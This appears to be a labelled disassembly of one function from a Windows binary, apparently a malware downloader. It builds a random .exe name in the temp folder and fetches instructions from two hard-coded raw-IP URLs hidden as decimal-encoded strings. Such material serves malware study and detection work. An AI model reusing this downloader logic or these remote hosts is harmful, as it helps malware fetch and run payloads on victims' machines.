Function at 0x402070
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x343c
call fcn.004029c0
mov eax, dword [0x40a070]
mov dword [esp + 0x3438], eax
xor eax, eax
push ebx
push esi
push edi
mov byte [esp + 0x20], 0
mov ecx, 0x40
lea edi, [esp + 0x21]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x338], 0
mov ecx, 0x40
lea edi, [esp + 0x339]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x1040], 0
mov ecx, 0x8ff
lea edi, [esp + 0x1041]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x440], 0
mov ecx, 0x2ff
lea edi, [esp + 0x441]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x230], 0
mov ecx, 0x40
lea edi, [esp + 0x231]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x128], 0
mov ecx, 0x40
lea edi, [esp + 0x129]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor esi, esi
call fcn.00402836
movzx edx, word [esp + 0x1e]
add eax, edx
push eax
call fcn.00402829
add esp, 4
lea ecx, [ecx]
call fcn.00402836
and eax, 0x8000000f
jns 0x402171
dec eax
or eax, 0xfffffff0
inc eax
mov al, byte [eax + str.0123456789ABCDEF073110116101114110101116082101097100070105108101]
mov byte [esp + esi + 0x338], al
inc esi
cmp esi, 5
jl 0x402160
lea eax, [esp + 0x20]
lea edx, [eax + 1]
jmp 0x402190
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402190
sub eax, edx
mov cl, byte [esp + eax + 0x20]
mov bl, 0x5c
cmp cl, bl
je 0x4021bd
lea eax, [esp + 0x20]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021b0
sub eax, edx
mov byte [esp + eax + 0x21], bl
lea eax, [esp + 0x338]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021c6
lea edi, [esp + 0x20]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4021d4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x20]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4021f1
mov ecx, dword [str..exe]
mov dl, byte [0x408528]
mov dword [edi], ecx
mov ecx, dword [str.104116116112058047047050049049046050053053046050051046052054047099111117110116101114047117112100097116101049046116120116]
lea eax, [esp + 0x230]
push eax
push ecx
mov byte [edi + 4], dl
call section..text
lea eax, [esp + 0x238]
add esp, 8
lea edx, [eax + 1]
jmp 0x402230
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402230
sub eax, edx
cmp eax, 0xa
jbe 0x402348
push 0x2400
lea edx, [esp + 0x1044]
push edx
lea eax, [esp + 0x238]
push eax
call fcn.00401070
add esp, 0xc
test eax, eax
jne 0x4022bb
mov edx, dword [str.104116116112058047047049050049046050053052046049054053046049048053047105099111110115047100100107046116120116]
lea ecx, [esp + 0x128]
push ecx
push edx
call section..text
lea eax, [esp + 0x130]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402284
sub eax, edx
cmp eax, 0xa
jbe 0x402348
push 0x2400
lea eax, [esp + 0x1044]
push eax
lea ecx, [esp + 0x130]
push ecx
call fcn.00401070
add esp, 0xc
test eax, eax
je 0x402348
call fcn.00401fc0
mov ebx, eax
lea eax, [esp + 0x1040]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4022d0
sub eax, edx
cmp eax, 0x15
jb 0x402348
lea edx, [esp + 0x1040]
push edx
call fcn.00402040
add esp, 4
test eax, eax
je 0x402348
lea eax, [esp + 0x440]
push eax
mov ecx, edx
push ecx
call section..text
lea edx, [esp + 0x448]
push 0x3a
push edx
call fcn.00402900
mov edi, eax
add esp, 0x10
test edi, edi
je 0x402348
lea eax, [esp + 0x440]
push eax
mov byte [edi], 0
call fcn.004027df
mov esi, eax
add esp, 4
cmp ebx, esi
jae 0x402348
lea ecx, [esp + 0x20]
push ecx
inc edi
push edi
call fcn.00401160
push esi
call fcn.00401f70
add esp, 0xc
mov ecx, dword [esp + 0x3444]
call fcn.00402749
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret